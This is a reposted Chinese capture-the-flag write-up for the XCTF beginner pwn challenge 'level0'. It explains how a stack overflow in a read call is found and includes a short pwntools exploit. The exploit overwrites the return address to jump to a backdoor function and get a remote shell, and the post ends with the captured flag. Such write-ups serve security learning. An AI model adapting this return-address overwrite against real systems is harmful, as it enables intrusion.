栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

pwn刷题num1---栈溢出

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

pwn刷题num1---栈溢出

攻防世界pwn新手区level0


111.200.241.244:49418是ip地址:端口,通过linux的nc命令可扫描ip地址并连接到ip地址对应靶机的端口程序上
linux的nc命令
附件是把靶机的程序直接给出到本地
下载题目附件后首先赋予程序执行权限
一般下载的程序没有可执行权限,无法进行分析,所以要先赋予可执行权限,命令是

chmod +x 文件名

linux文件属性
之后用checksec命令查保护(需先配置pwntools这里引用另一个博主的配置pwn环境的博客)


关于linux的保护可见这篇文章
linux漏洞保护机制
观察发现

64位程序,小端序
没有开启RELRO----漏洞:程序got表可写
没有开启canary保护-----漏洞:存在栈溢出
开启了NX保护-----注入的shellcode无法执行
没有开启PIE----程序内存地址未随机化

之后用file命令可查看程序编译链接情况

dynamically linked为动态链接
什么是动态链接

然后运行一下

或者

看不出什么信息,用ida看一下伪代码
ida一些用法
找到主函数

双击进入vulnerable_function()函数

发现read函数给buf处赋予0x200字节,而buf只有0x80字节,存在栈溢出
双击buf进入栈空间


buf距离返回地址图中(r标号)0x88字节
然后寻找一下程序中有没有后门函数(获得系统权限的函数)

发现callsystem函数,很可疑

发现正是后门函数,把返回地址覆盖为该函数的地址,调用该函数即可获得shell,查看函数地址为0x400596

编写exp

'''
栈溢出 + system地址获得shell
'''
from pwn import *
context(os = 'linux',endian = 'little',arch = 'amd64',log_level = 'debug')
sh = remote('111.200.241.244',49418)
call_system_addr = 0x400596
payload = flat(['a' * 0x88,call_system_addr])
sh.sendline(payload)
sh.interactive()

pwntools编写exp

获得flag:
cyberpeace{0446553eec724aa790f302cfe27db08e}

附上本文所用链接

linux的nc命令
pwntools这里引用另一个博主的配置pwn环境的博客
linux漏洞保护机制
ida一些用法
pwntools编写exp

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/826899.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号